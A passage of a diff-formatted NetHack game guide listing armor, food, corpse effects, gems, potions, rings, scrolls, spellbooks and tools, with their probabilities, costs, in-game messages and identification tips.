| -1 | N | +| gauntlets of power | | 2 | 50 | -1 | Y | +| orcish chain mail | black chain mail | 6 | 75 | -5 | Y | +| orcish cloak | black mantelet | 2 | 40 | 0 | N | +| orcish helm | black cap | 3 | 10 | -1 | Y | +| orcish ring mail | black ring mail | 5 | 80 | -2 | Y | +| orcish shield | red-eyed shield | 3 | 3 | -1 | Y | +| fedora | | 1 | 8 | -1 | N | +| hawaiian shirt | | 2 | 5 | 0 | N | +| helmet | | 2 | 10 | -1 | Y | +| helm of brilliance | | 2 | 50 | -1 | Y | +| helm of opposite alignment | | 2 | 50 | -1 | Y | +| helm of telepathy | | 2 | 50 | -1 | Y | +| high boots | jackboots | 4 | 12 | -2 | N | +| iron shoes | hard shoes | 5 | 16 | -2 | Y | +| jumping boots | | 4 | 50 | -1 | N | +| large shield | | 4 | 7 | -2 | Y | +| leather armor | | 2 | 5 | -2 | N | +| leather gloves | | 2 | 8 | -1 | N | +| levitation boots | | 4 | 30 | -1 | N | +| low boots | walking shoes | 3 | 8 | -1 | N | +| mummy wrapping | | 2 | 2 | 0 | N | +| plate mail | | 9 | 600 | -7 | Y | +| ring mail | | 4 | 100 | -3 | Y | +| scale mail | | 5 | 45 | -4 | Y | +| shield of reflection | polished silver shield | 3 | 50 | -2 | N | +| small shield | | 2 | 3 | -1 | Y | +| speed boots | | 4 | 50 | -1 | N | +| splint mail | | 8 | 80 | -6 | Y | +| studded leather armor | | 3 | 15 | -3 | N | +| Uruk-hai shield | white-handed shield | 4 | 3 | -1 | Y | +| water walking boots | | 4 | 50 | -1 | N | +--------------------------------------------------------------------------- + +----------------------------------------------------------------------------- +Armor Effects: + +Cloak of displacement - displaces you, causing first hit against you by a + monster to miss and other hits to be at a severe disadvantage. +Cloak of invisibility - makes you invisible. +Cloak of magic resistance - gives you resistance against magic, such that + certain spells won't work against you and magic based traps like + teleport and polymorph traps won't have any effect on you. +Cloak of protection - makes your AC better. +Dragon scale mail - depending upon the type of dragon scale mail (red, gray, + etc.) it will give you a different immunity. See FOOD - CORPSES for + information about what immunity each dragon type provides. +Elven boots - gives you stealth (i.e. if you walk into a room, a monster that +Elven cloak - gives you stealth. +Fumble boots - makes you drop your weapon, stumble and fall occasionally, + etc. Tends to be cursed. +Gauntlets of dexterity - increases your dexterity by the defense bonus. +Gauntlets of fumbling - makes you drop your weapon, stumble and fall + occasionally, etc. Tends to be cursed. +Gauntlets of power - increases your strength to 25. +Helm of brilliance - adds bonus to your intelligence and wisdom (i.e. a +1 + helm will add one point to each). +Helm of opposite alignment - changes your alignment to opposite, or if + neutral to random alignment. It can be removed to return to the original + alignment. +Helm of telepathy - gives you telepathy, as the intrinsic, but you don't have + to be blind to use it. When not blind, only gives telepathy in + vicinity, not for the entire screen. +Jumping boots - allows you to jump up to two squares away. +Levitation boots - causes you to levitate. (Nasty if cursed) +Shield of reflection - ray attacks (like lightning, fire, gas) are reflected, + and also prevents gaze attacks where the monster gazes at you. Note + that this will not help if you look at the monster (i.e. the medusa). + Especially useful against dragons and floating eyes. +Speed boots - doubles your speed. Allows you to have more attacks and be + able to run away better. +Water walking boots - allows you to safely walk on water. + +----------------------------------------------------------------------------- +Identifying Armor: + +Identifying armor is usually pretty simple. First, make sure the armor isn't +cursed (again, simple enough if you're a priest of have a pet on hand). +Then, simply try it on. Any bonuses will immediately be identified for you. +Certain items will also do other things, as listed above, and these effects +will show up immediately. The only two types of armor that are somewhat +difficult to identify are water walking boots and jumping boots. Jumping +boots can be identified by trying to #jump once you've put them on. If you +can jump, that's what they are. Water walking boots are only positively +identifiable (short of a scroll of identify or equivalent) by taking a step +of faith and trying to tread on the wet stuff. + +----------------------------------------------------------------------------- +Food: + + Name Prob Wt Nutr. Special effects +----------------------------------------------------------------------------- +| apple | 10 | 1 | 50 | | +| banana | 7 | 1 | 80 | | +| candy bar | 7 | 1 | 100 | | +| carrot | 15 | 1 | 50 | Cures blindness | +| cram ration | 20 | 3 | 600 | | +| cream pie | 25 | 1 | 100 | Throw to blind monsters | +| clove of garlic | 5 | 1 | 40 | Scares off vampires | +| egg | 75 | 1 | 80 | Could be deadly! | +| food ration | 385 | 4 | 800 | | +| fortune cookie | 55 | 1 | 40 | Gives hints, some true | +| K-ration | 0 | 1 | 400 | | +| lembas wafer | 20 | 1 | 800 | | +| lump of royal jelly | 0 | 1 | 200 | Increases strength & fixes bad legs | +| melon | 7 | 1 | 100 | | +| orange | 7 | 1 | 80 | | +| pancake | 40 | 1 | 200 | | +| pear | 7 | 1 | 50 | | +| slime mold | 75 | 1 | 250 | | +| tin | 75 | 1 | * | Spinach increases strength** | +| tripe ration | 150 | 2 | 200 | Feed to pets | +----------------------------------------------------------------------------- + + * Variable +** These may also be a monster type: i.e. floating eyes will give esp. + +----------------------------------------------------------------------------- +Food - Corpses: + +Eating certain dead monsters (monster corpses) can confer intrinsics or have +other effects. Generally intrinsics are conferred by eating a monster with +that intrinsic, although certain individual monsters or monster types can +also confer intrinsics or have other effects. + +If you eat a monster with one of the following intrinsics, you will have a +chance of gaining that intrinsic yourself. The major exception in all cases +are baby dragon corpses, which can never confer intrinsics (so as to prevent +polymorph abuse via laying of eggs). Note also that each monster corpse may +only confer one of these intrinsics, and they are tested for in the order in +which they are listed. + +Monster +Intrinsic Chance of gaining +Teleport - monster level / 10 +Tel. Cont. - monster level / 15 +Fire Res - monster level / 15 +Cold Res - monster level / 15 +Disin Res - monster level / 15 +Pois Res - monster level / 15 (killer bee and scorpion are 1/4) +Shock Res - monster level / 15 +Sleep Res - monster level / 15 (undead cannot confer this) + +In addition, eating the following monster corpses can also have effects as +noted: + +bat - You become stunned for 30 rounds. +chameleon - Polymorphs you. +floating eye - You gain telepathy. +giant bat - You become stunned for 60 rounds. +giant mimic - You mimic a pile of gold for 50 rounds. +large mimic - You mimic a pile of gold for 40 rounds. +lizard - Cures stunning and confusion, and will stop you from + turning to stone. +nurse - Restores all lost hit points +quantum mechanic - If you are currently fast, will bring your speed to + normal. Otherwise, doubles your speed. +small mimic - You mimic a pile of gold for 20 rounds. +stalker - If you are already invisible, you will gain intrinsic + invisibility and intrinsic see infisible. Otherwise, + you will become invisible for a random time period. + Also, you will be stunned for 60 rounds in either case. +violet fungus - Makes you hallucinate for 200 rounds. +werejackal - You catch lycanthropy (i.e. become a werejackal) +wererat - You catch lycanthropy (i.e. become a wererat) +werewolf - You catch lycanthropy (i.e. become a werewolf) +wraith - Gain one experience level, up to level 30 +yellow light - You become stunned for 60 rounds. + +Finally, other intrinsics or effects may be conferred as follows: + +Monsters which attack via stunning will cause you to hallucinate for 200 +rounds if their corpse(s) are eaten. + +If you eat a giant corpse, your strength will be increased. + +Monsters that are acidic when eaten will stop you from turning to stone. + +----------------------------------------------------------------------------- +Gems: + + Name Prob Wt Value +------------------------------------------- +| amber | 11 | 1 | 1000 | +| amethyst | 19 | 1 | 600 | +| aquamarine | 10 | 1 | 1500 | +| blue glass | 131 | 1 | 0 | +| diamond | 4 | 1 | 4000 | +| dilithium crystal | 3 | 1 | 4500 | +| emerald | 7 | 1 | 2500 | +| fluorite | 22 | 1 | 400 | +| garnet | 17 | 1 | 700 | +| green glass | 131 | 1 | 0 | +| jade | 23 | 1 | 300 | +| jasper | 21 | 1 | 500 | +| loadstone | 10 | 50 | 1 | +| luckstone | 10 | 1 | 60 | +| opal | 15 | 1 | 800 | +| red glass | 131 | 1 | 0 | +| ruby | 5 | 1 | 3500 | +| sapphire | 6 | 1 | 3000 | +| topaz | 13 | 1 | 900 | +| turquoise | 8 | 1 | 2000 | +| violet glass | 131 | 1 | 0 | +| white glass | 131 | 1 | 0 | +| yellowish brown glass | 131 | 1 | 0 | +------------------------------------------- + +----------------------------------------------------------------------------- +Potions: + + Name Prob Cost +--------------------------------- +| blindness | 45 | 150 | +| booze | 45 | 50 | +| confusion | 45 | 100 | +| enlightenment | 20 | 200 | +| extra healing | 50 | 100 | +| fruit juice | 70 | 50 | +| gain ability | 45 | 300 | +| gain energy | 45 | 150 | +| gain level | 20 | 300 | +| hallucination | 45 | 100 | +| healing | 65 | 100 | +| invisibility | 45 | 150 | +| levitation | 45 | 200 | +| monster detection | 45 | 150 | +| object detection | 45 | 150 | +| paralysis | 45 | 300 | +| restore ability | 45 | 100 | +| see invisible | 45 | 50 | +| sickness | 45 | 50 | +| speed | 45 | 200 | +| water (clear) | 125 | 100 | +--------------------------------- + +----------------------------------------------------------------------------- +Potion Quaffing Effects: + +Cur = cursed potion (unless specifically mentioned, same as regular) +Reg = regular potion quaffed +Bls = blessed potion (unless specifically mentions, same as regular) +Cnf = potion quaffed while confused +Bld = potion quaffed while blind +Hal = potion quaffed while hallucinating + +Blindness + Reg - You become blind for a random time period. + "A cloud of darkness falls upon you." + Hal - "Bummer! Everything is dark! Help!" +Booze + Bls - No effect. + Reg - You are confused for a random time period. + "Ooph! This tastes like liquid fire!" + Cur - Knocks you unconscious for a time. + "You pass out. You awake with a headache." + Hal - "Ooph! This tastes like furniture polish!" +Confusion + Reg - You are confused for a random time period. + "Huh, What? Where am I?" + Hal - "What a trippy feeling!" +Enlightenment + Cur - No effect. + "You have an uneasy feeling." + Reg - Know intrinsics. + "You feel self-knowledgeable..." + Bls - Know intrinsics and adds one to Int and Wis. +Extra healing + Reg - Heals you (or adds 2 points to max. if at max.), and cures blindness + and sickness. + "You feel much better." + Bls - Heals you (or adds 5 pts. to max if at max), and cures blindness and + sickness. +Fruit juice + Cur - "Yecch! This tastes rotten." + Reg - Gives small amount of sustenance. + "This tastes like [fruit] juice." + Hal - "Yecch! This tastes overripe." + "This tastes like 10% real [fruit] juice all-natural beverage." +Gain ability + Cur - No effect. + "Ulch! That potion tasted foul!" + Reg - Adds one to random stat. + Bls - Adds one to all stats. +Gain energy + Cur - Removes energy points. + "You feel lackluster." + Reg - Adds to max energy points. + "Magical energies course through your body." +Gain level + Cur - Raises you through the ceiling to the level above. + "You rise up, through the ceiling!" + Unless you are on level one and don't have the Amulet, or are in the + endgame, in which case... + "You have an uneasy feeling." + Reg - Adds one level (up to max. of level 30) + "You feel more experienced." + Bls - Takes you halfway to next level as well (or adds xp at level 30) +Hallucination + Reg - You hallucinate for a random time period. + "Oh wow! Everything looks so cosmic!" +Healing + Reg - Heals you (or adds 1 point to max. if at max.) and cures blindness. + "You begin to feel better." + Bls - Heals you and cures blindness and sickness. +Invisibility + Cur - Aggravates monsters. + "For some reason, you feel your presence is known." + Reg - Makes you invisible for a random time period. + "Gee! All of a sudden you can't see yourself." + Bls - Player's choice whether permanent or not. + Bld - "You feel rather airy." + Hal - "Far out, man! You can see right through yourself!" +Levitation + Cur - Bumps your head on the ceiling + Bls - Asks number of turns (1-300) to levitate. + Hal - "You're floating in the air!" +Monster detection + Reg - You are shown where monsters are on level. + "You sense the presence of monsters." + "You feel threatened." (if no monsters on level) + Cur - They know where you are. +Object detection + Cur - All mimics disguised as objects know where you are. + Reg - You are shown where objects are on level. + "You sense the presence of objects." + "You have a strange feeling." (if no objects on level) +Paralysis + Reg - You are paralyzed for a random time period. + "Your feet are frozen to the floor!" + "You are motionlessly suspended." (if levitating) +Restore ability + Cur - No effect. + "Ulch! This makes you feel mediocre!" + Reg - One stat restored. + "Wow! This stuff makes you feel good!" + Bls - All stats restored. + "Wow! This stuff makes you feel great!" +See invisible + Cur - "Yecch! This tastes rotten." + Reg - Cures blindness, see invisible for a random time. + "This tastes like [fruit] juice." + Bls - Intrinsic see invisible. + Hal - "Yecch! This tastes overripe." + "This tastes like 10% real [fruit] juice all-natural beverage." +Sickness + Reg - Stats lost, sickness, and lose hp. + "Yech! This stuff tastes like poison." + If poison resistant, or a healer, lessened effects. + "But in fact it was biologically contaminated [fruit] juice." + "Fortunately, you have been immunized." + Bls - Does 1 hp damage to you. + "But in fact it was mildly stale [fruit] juice." + Hal - Stops hallucination. + "You are shocked back to your senses." +Speed + Reg - Heals wounded legs and doubles movement rate temporarily. + "You are suddenly moving much faster." + "Your legs gain new energy." (if already fast) +Water + Cur - Unholy water. Will curse items #d)ipped in it. + "You feel full of dread." + If undead, demon, or chaotic you gain 2-12 hp: + "You feel quite proud of yourself." + If lawful, you lose 2-12 hp: + "This burns like acid!" + Reg - Reduces hunger. Will erase scrolls if #d)ipped in it. + "This tastes like water." + "This tastes like impure water." + Bls - Holy water. Cures sickness. Will bless items #d)ipped in it. + "You feel full of awe." + +----------------------------------------------------------------------------- +Potion Throwing Effects: + +All = monster hit with a cursed, regular, or blessed potion +Cur = monster hit with a cursed potion +Reg = monster hit with a regular potion +Bls = monster hit with a blessed potion +Bld = monster hit with a potion thrown while blind + +Blindness + All - The monster hit becomes temporarily blinded. +Booze + All - The monster hit becomes confused. +Confusion + All - The monster hit becomes confused. +Extra healing + All - The monster hit is healed up to maximum hit points. + "The [monster name] looks sound and hale again." + Bld - No message. +Gain ability + All - The monster hit is healed up to maximum hit points. + "The [monster name] looks sound and hale again." + Bld - No message. +Healing + All - The monster hit is healed up to maximum hit points. + "The [monster name] looks sound and hale again." + Bld - No message. +Invisibility + All - The monster hit becomes invisible. +Paralysis + All - The mosnter hit becomes paralyzed for 1-25 turns. +Restore ability + All - The monster hit is healed up to maximum hit points. + "The [monster name] looks sound and hale again." + Bld - No message. +Sickness + All - Hit points and maximum hit points of monster hit are halved. + "The [monster name] looks rather ill." + Bld - No message. +Speed + All - Slow monsters hit become normal, while normal monsters become fast. +Water + Cur - Adds 2-12 hit points to undead or demons when hit. + "The [monster name] looks healthier." + Reg - No effect. In a future version will cause gremlins to multiply. + Bls - Does 2-12 hit points of damage to undead or demons when hit. + +----------------------------------------------------------------------------- +Potion Vapor Effects: + +All = cursed, regular, or blessed potion vapor inhaled +Cur = cursed potion vapor inhaled +Reg = regular potion vapor inhaled +Bls = blessed potion vapor inhaled +Bld = potion vapor inhaled while blind + +Blindness + All - Blinds you for 1-5 turns. + "It suddenly gets dark." +Booze + All - Causes you to be confused for 1-5 turns. + "You feel somewhat dizzy" +Confusion + All - Causes you to be confused for 1-5 turns. + "You feel somewhat dizzy" +Extra healing + All - Increases current hit points by one if under maximum. +Gain ability + Cur - No effect. + "Ulch! That potion smells terrible!" + Reg - Increases a random stat by one if that stat is under maximum. + Bls - Increases each stat by one if that stat is under maximum. +Halluncination + All - No effect. + "You have a vision for a moment." +Healing + All - Increases current hit points by one if under maximum. +Invisibility + All - No effect. + "For an instant you could see through yourself!" +Paralysis + All - Paralyzes you for 1-5 turns. + "Something seems to be holding you." +Restore ability + Cur - No effect. + "Ulch! That potion smells terrible!" + Reg - Increases a random stat by one if that stat is under maximum. + Bls - Increases each stat by one if that stat is under maximum. +Sickness + All - Decreases current hit points to 1 if current hit points are under 5. + Otherwise, decreases current hit points by 5. +Speed + All - Speeds you up for 1-5 turns. + "Your knees seem more flexible now." + +----------------------------------------------------------------------------- +Identifying Potions: + +There are several ways of identifying potions, mostly based upon the messages +listed above. If you quaff a potion, you should be able to tell what it was +from the info in the quaffing section. Throwing a potion at a monster will +often tell you what it was from the effects on that monster (especially if +you have a stethescope to examine it with). Finally, potions can often be +identified by breaking them and observing the vapor effect. Set the potion +down and kick it until it smashes. Then pay close attention to what happens. +Oh, and remember - when that red dragon breathes fire at you and your potion +boils and explodes, all is not lost. You still get the vapor effect, so you +can figure out what the next one like that will do. + +----------------------------------------------------------------------------- +Rings: + + Name Cost +---------------------------------------- +| adornment | 100 | +| aggravate monster | 150 | +| cold resistance | 150 | +| conflict | 300 | +| fire resistance | 200 | +| gain strength | 150 | +| hunger | 100 | +| increase damage | 150 | +| invisibility | 150 | +| levitation | 200 | +| poison resistance | 150 | +| polymorph | 300 | +| polymorph control | 300 | +| protection | 100 | +| protection from shape changers | 100 | +| regeneration | 200 | +| searching | 200 | +| see invisible | 150 | +| shock resistance | 150 | +| stealth | 100 | +| teleport control | 300 | +| teleportation | 200 | +| warning | 100 | +---------------------------------------- + +----------------------------------------------------------------------------- +Ring Effects: + +Note that all rings except +0 rings increase your food consumptions to +varying degrees. + +Adornment - Will raise your charisma by the bonus on the ring. +Cold resistance - You become invulnerable to cold, including backblasts from + the wand and freezing spheres. +Conflict - Causes monsters to attack each other instead of you if they are + next to each other. +Fire resistance - You become invulnerable to fire, including backblasts from + the wand and (red) dragon's breath. +Gain strength - Increments (or decrements if cursed) your strength by the + appropriate amount. +Increase damage - Increases the damage you do to monsters when hitting them. +Poison resistance - You are invulnerable to poison (including poisonous + corpses, but not rotted ones, and all poison stings, bites, and + potions). +Polymorph - Will occasionally cause you to randomly polymorph into another + creature. +Polymorph control - Allows you to choose what monster you turn into if you + get polymorphed. +Protection - Increases your armor class and (probably) your saving throws by + the appropriate amount. (Or decreases if cursed.) +Protection from shape changers - Forces chameleons and other shape changers + to take on their true form. +Regeneration - Replenishes HP at about 1 a move, but increases food + consumption a lot. +Searching - Will automatically look for hidden traps/doors. +Shock resistance - Lightning/other electrical resistance. +Stealth - Monsters don't wake up when you enter a room. +Teleportation - Teleports you randomly around every once in a while. +Teleport control - Gives you control of teleport destination, no matter what + does the teleporting. If you try to teleport into a wall or monster, + you get a random teleport. +Warning - Will glow different colors when different monsters are near. + +----------------------------------------------------------------------------- +Identifying Rings: + +To figure out what a ring is, again start by figuring out if the ring is +cursed or not. If the ring is cursed, don't throw it away! It's a prime +candidate for identification through the first method: chuck it down a sink, +and see what happens. See the SINK EFFECTS section for more information +about what happens when various ring types are thrown down a sink. If the +ring isn't cursed, it probably is somewhat beneficial. Try it on. If +something happens immediately, you'll know what it is (levitation, for +example). Some rings can only be identified after being worn for a while - +for example, a ring of polymorph will only polymorph you every once in a +while, and a ring of teleport also only works now and then. Other rings can +only be guessed at -for instance, if you suddenly can find secret doors +easier than you have been, it might be a ring of searching. If you suddenly +are killing monsters more easily, it might be a ring of increase damage. + +----------------------------------------------------------------------------- +Scrolls: + + Name Prob Cost +------------------------------- +| amnesia | 35 | 200 | +| blank paper | 28 | 60 | +| charging | 15 | 300 | +| confuse monster | 53 | 100 | +| create monster | 45 | 200 | +| destroy armor | 45 | 100 | +| enchant armor | 63 | 80 | +| enchant weapon | 85 | 60 | +| fire | 48 | 100 | +| food detection | 25 | 100 | +| genocide | 15 | 300 | +| gold detection | 33 | 100 | +| identify | 185 | 20 | +| light | 95 | 50 | +| magic mapping | 45 | 100 | +| punishment | 15 | 300 | +| remove curse | 65 | 80 | +| scare monster | 35 | 100 | +| taming | 15 | 200 | +| teleportation | 55 | 100 | +------------------------------- + +----------------------------------------------------------------------------- +Scroll Effects: + +Cur = cursed scroll (unless specifically mentioned, same as regular) +Reg = regular (uncursed) scroll +Bls = blessed scroll (unless specifically mentioned, same as regular) +Bld = messages given while blind +Hal = messages given while hallucinating + +Amnesia + Cur - Complete loss of map and spells. + Reg - Partial loss of map and spells. + "Thinking of Maud you forget everything else." + "Who was that Maud person anyway?" + "As your mind turns inward on itself, you forget everything else." (if + your character's name is Maud) + Bls - Partial loss of map, no loss of spells. + Hal - "Your mind releases itself from mundane concerns." +Blank paper + Reg - No effect. + "This scroll seems to be blank." +Charging + Reg - Charges item to original charges (can charge magic lamps) + Bls - Charges item to maximum charges (can charge magic lamps) +Confuse monster (effects are cumulative) + Cur - You become confused for 1 to 100 turns. + "You feel confused." + Reg - The next monster you hit will become confused. + "Your hands begin to glow red." + Bls - Next 2-9 monsters hit will become confused. + "Your hands glow a brilliant red." + Bld - "Your hands begin to tingle." + "Your hands tingle very sharply." +Create monster + Cur - Creates 13 to 17 random monsters. + Reg - Creates 1 to 5 random monsters. +Destroy armor + Cur - Same as regular, unless outermost armor is also cursed, in which + case you are stunned for 11-20 rounds. + "Your [armor name] vibrates." + Reg - Outermost armor you are wearing is destroyed. + "Your shield crumbles and turns to dust." + "Your helmet turns to dust and is blown away." + "Your gloves vanish." + "Your boots disintegrate." + "Your skin itches." (if no armor is being worn) +Enchant armor + Cur - Takes 1 point off bonus and curses random armor you are wearing. + "Your [armor name] glows black for a moment." + Reg - Adds +1 to bonus and uncurses random armor you are wearing. + "Your [armor name] glows silver for a moment." + "Your skin glows then fades." (if no armor is being worn) + "Your [armor name] glows violently silver for a while, then + evaporates." (if enchantment fails) + Bls - Adds +1-3 to bonus and blesses random armor you are wearing. + "Your [armor name] glows silver for a moment/while." + Bld - "Your [armor name] feels warm for a moment." + "Your skin feels warm for a moment." (if no armor is being worn) + "Your [armor name] violently vibrates for a while, then evaporates." + (if enchantment fails) +Enchant weapon** + Cur - Takes 1 point off bonus of weapon you are wielding. + "Your [weapon name] glows black for a moment." + Reg - Adds +1 to bonus and uncurses weapon you are wielding. + "Your [weapon name] glows blue for a moment." + Bls - Adds +3 to bonus and blesses weapon you are wielding. + "Your [weapon name] glows blue for a while." +Fire + Cur - You lose 1 to 9 hit points and maximum hit points. Monsters within + three squares take similar damage. + Reg - You lose 1 to 6 hit points and maximum hit points. Monsters within + three squares take similar damage. + "The scroll erupts in a tower of flame!" + "You are uninjured." (if fire resistant) + Bls - You lose 1 to 3 hit points and maximum hit points. Monsters within + three squares take similar damage. + This scroll is dangerous! It will burn scrolls and explode potions. +Food detection + Reg - Detects all food on the level. +Genocide + Cur - Surrounds you with monster you tried to genocide. + Reg - Allows you to genocide one monster type (ex. 'rothe'). + Bls - Allows you to genocide one monster class (ex. 'q' for quadruped). +Gold detection + Cur - As normal, but "gold" detected are actually traps. + Reg - Detects all gold on level. +Identify + Cur - Identifies 1 item. + Reg - Identifies 1 or more items (hit 'a' instead of 'y'). + Bls - Identifies 1 or more items (better chance). +Light + Cur - Darkens room you are in. + Reg - Lights up room you are in. +Magic mapping + Cur - Partial map of the level is drawn. + "Unfortunately, it is of a very poor quality." + Reg - Map of the level is drawn. + "On this scroll is a map." +Mail + Reg - No effect. + "This seems to be junk mail addressed to the finder of the Eye of + Larn." (The game of Larn sends you junk mail if you win...) +Punishment + Cur - Creates a very heavy iron ball and chains it to you. + Reg - Creates a heavy iron ball and chains it to you, or if you are + already being punished, your current iron ball becomes very heavy. + "You are being punished." + Bls - No effect. + "You feel guilty." +Remove curse + Reg - Removes curses on worn items and will unlock iron balls. + "You feel like someone is helping you." + Bls - Removes curses on all items and will unlock iron balls. + Hal - "You feel in touch with the Universal Oneness." +Scare monster + Cur - Aggravates monsters when read. + "You hear a sad wailing in the distance." + "You hear a sad wailing close by." + Reg - Should be dropped and stood upon. When read, monsters will flee for + a short period of time. + "You hear maniacal laughter in the distance." + "You hear maniacal laughter close by." +Taming + Cur - Causes every monster within one square of you to become non-peaceful + Reg - Tames every monster within one square of you, and will calm down + angry shopkeepers within one square of you. +Teleportation + Cur - Teleports you randomly to a different level. + Reg - Teleports you randomly on the level. + Bls - Randomly teleports you on the level if you want to. + +* Determining your chances for successfully enchanting armor is fairly +simple. Your chance for succeeding (and not causing the item to disintegrate +due to over enchantment) is totally dependent upon the current bonus of the +item. If the current bonus is three or less (five or less for elven mithril +coats), you will always succeed. Otherwise, you have one chance out of +whatever the current bonus of the item is. In other words, if the bonus is ++4, you have a 1/4 or 25% chance of being successful. If the bonus is +8, +you have a 1/8 or 12.5% chance of being successful. Thus, it is +theoretically possible to enchant armor up to +maxint, but the laws of +probability would not favor it! + +** Chances for successfully enchanting weapons are far easier. Basically, +you will always succeed if the weapon is at +5 or less. Once you're over +that, you have a 2/3 chance of being successful each time, regardless of the +bonus. + +----------------------------------------------------------------------------- +Confused Scroll Effects: + +All = cursed, regular, or blessed scroll +Cur = cursed scroll (unless mentioned, same as non-confused) +Reg = regular (uncursed) scroll (unless mentioned, same as non-confused) +Bls = blessed scroll (unless mentioned, same as non-confused) +Bld = messages given while blind +Hal = messages given while hallucinating + +Amnesia + Reg - Complete loss of map and spells. + Bls - Complete loss of map, no loss of spells. +Blank paper + All - No effect. + "You try to read the strange patterns on this scroll, but it + disappears." +Charging + All - Puts energy points at max, or at 5-20 points above max if already at + max (doesn't up the maximum, though). + "You feel charged up." +Confuse monster + Reg - You become confused for 1 to 100 turns. + "Your hands begin to glow purple." + Bls - You become unconfused if confused. + "A red glow surrounds your head." + Bld - "Your hands begin to tingle." + "A faint buzz surrounds your head." +Create monster + All - Creates 13 to 17 acid blobs. +Destroy armor + All - Picks a random armor you are wearing, and removes any rustproofing. + "Your [armor name] glows purple." + "Your bones itch." (if no armor is being worn) +Enchant armor + Cur - No effect. + "Your [armor name] is covered by a mottled black glow." + Reg - Rustproofs random armor you are wearing. + "Your [armor name] is covered by a shimmering gold shield." + "Your [shield name] is covered by a shimmering gold layer." + Bld - "Your [armor name] feels warm for a moment." +Enchant weapon + Cur - Removes rust proofing on the weapon you are wielding. + "Your [weapon name] is covered by a mottled purple glow." + Reg - Rustproofs weapon you are wielding. + "Your [weapon name] is covered by a shimmering gold shield." + Bld - "Your weapon feels warm for a moment." +Fire + All - Does one hit point of damage (unless fire resistant). + "The scroll catches fire and you burn your hands." + "Oh, look, what a pretty fire in your hands." (if fire resistant) + Bld - "You feal [sic] a pleasant warmth in your hands." (if fire + resistant) +Genocide + Cur - Surrounds you with whatever you are (i.e. wizards). + Reg - You genocide whatever you are. +Gold detection + All - As normal, but "gold" detected are actually traps. +Identify + All - No effect. + "You identify the scroll as an identify scroll." +Light + All - Darkens room you are in. +Magic mapping + All - Creates an incorrect map of the level. + "On this scroll was a map." +Punishment + All - No effect. + "You feel guilty." +Remove curse + All - Will unlock iron balls. + "You feel like you need some help." + Hal - "You feel the power of the Force against you!" +Scare monster + All - Aggravates monsters when read. + "You hear a sad wailing in the distance." + "You hear a sad wailing close by." +Taming + Cur - Causes every monster within five squares of you to become non- + peaceful. + Reg - Tames every monster within five squares of you, and will calm down + angry shopkeepers within five squares of you. +Teleportation + All - Teleports you to a different level. + +----------------------------------------------------------------------------- +Identifying Scrolls: + +Unfortunately, there aren't any easy ways to figure out what a scroll is. +Short of using and identify scroll (or equivalent) or actually reading it, +you can't tell what a scroll is. + +----------------------------------------------------------------------------- +Spellbooks: + + Name Prob Time Lvl Direct +--------------------------------------- +| cancellation | 12 | 8 | 7 | Y | +| cause fear | 25 | 3 | 3 | N | +| charm monster | 20 | 3 | 3 | Y | +| clairvoyance | 15 | 3 | 3 | N | +| cone of cold | 10 | 8 | 5 | RAY | +| confuse monster | 37 | 2 | 2 | Y | +| create familiar | 10 | 7 | 6 | N | +| create monster | 37 | 3 | 2 | N | +| cure blindness | 27 | 2 | 2 | Y | +| cure sickness | 32 | 3 | 3 | N | +| detect food | 37 | 3 | 2 | N | +| detect monsters | 45 | 1 | 1 | N | +| detect treasure | 25 | 5 | 4 | N | +| detect unseen | 25 | 4 | 3 | N | +| dig | 22 | 6 | 5 | RAY | +| extra healing | 32 | 5 | 3 | N | +| finger of death | 5 | 10 | 7 | RAY | +| fireball | 20 | 6 | 4 | RAY | +| force bolt | 40 | 2 | 1 | Y | +| genocide | 5 | 10 | 7 | N | +| haste self | 33 | 4 | 3 | N | +| healing | 40 | 2 | 1 | N | +| identify | 25 | 8 | 5 | N | +| invisibility | 32 | 5 | 4 | N | +| knock | 40 | 1 | 1 | Y | +| levitation | 25 | 4 | 4 | N | +| light | 45 | 1 | 1 | N | +| magic mapping | 18 | 7 | 5 | N | +| magic missile | 45 | 3 | 2 | RAY | +| polymorph | 12 | 8 | 6 | Y | +| remove curse | 25 | 5 | 5 | N | +| restore ability | 25 | 5 | 4 | N | +| sleep | 50 | 1 | 1 | RAY | +| slow monster | 37 | 2 | 2 | Y | +| teleport away | 15 | 6 | 6 | Y | +| turn undead | 17 | 8 | 6 | Y | +| wizard lock | 35 | 3 | 2 | Y | +--------------------------------------- + +----------------------------------------------------------------------------- +Tools: + + Name Desc Prob Wt Cost +------------------------------------------------- +| bag of holding | bag | 20 | 3 | 100 | +| bag of tricks | bag | 20 | 3 | 100 | +| blindfold | | 55 | 2 | 20 | +| bugle | | 6 | 3 | 15 | +| chest | | 35 | 40 | 20 | +| credit card | | 5 | 1 | 10 | +| crystal ball | | 35 | 15 | 60 | +| drum | | 4 | 4 | 25 | +| drum of earthquake | drum | 2 | 4 | 25 | +| expensive camera | | 5 | 3 | 200 | +| figurine | | 35 | 5 | 80 | +| fire horn | horn | 2 | 4 | 15 | +| flute | | 6 | 3 | 12 | +| frost horn | horn | 2 | 4 | 15 | +| harp | | 4 | 10 | 50 | +| horn | | 5 | 4 | 15 | +| ice box | | 5 | 40 | 30 | +| key | | 100 | 1 | 10 | +| lamp | | 105 | 10 | 50 | +| large box | | 40 | 40 | 20 | +| leash | | 70 | 3 | 20 | +| lock pick | | 55 | 2 | 20 | +| magic flute | flute | 2 | 3 | 12 | +| magic harp | harp | 2 | 10 | 50 | +| magic lamp | lamp | 20 | 10 | 50 | +| magic marker | | 15 | 1 | 50 | +| magic whistle | whistle | 50 | 2 | 10 | +| mirror | | 50 | 3 | 40 | +| pick-axe | | 20 | 10 | 50 | +| sack | bag | 40 | 3 | 20 | +| skeleton key | key | 60 | 1 | 10 | +| stethoscope | | 15 | 2 | 75 | +| tinning kit | | 15 | 10 | 30 | +| tin opener | | 25 | 1 | 30 | +| whistle | | 120 | 2 | 10 | +------------------------------------------------- + +----------------------------------------------------------------------------- +Tool Effects: + +Bag of holding - will hold many items, only adding part of their weight to + your total pack weight. Blessing and cursing of bags of holding does + not currently work correctly. Also, do not put a bag of holding, a bag + of tricks, or a wand of cancellation into a bag of holding. Both items + and contents will blow up. +Bag of tricks - will allow you to create a monster whenever you activate it. +Blindfold - makes you blind. Useful when you have telepathy. +Bugle - will awaken soldiers on level. Useful for getting into castle. +Chest - holds things, but is very heavy. +Credit card - can be used to open locked doors. +Crystal ball - can be used to detect things on level. +Drum - awakens monsters; may scare them away. +Drum of earthquake - will initiate an earthquake whose intensity depends on + player level. That is, it creates random pits. +Expensive camera - can be flashed at monsters to blind them. Can also blind + self 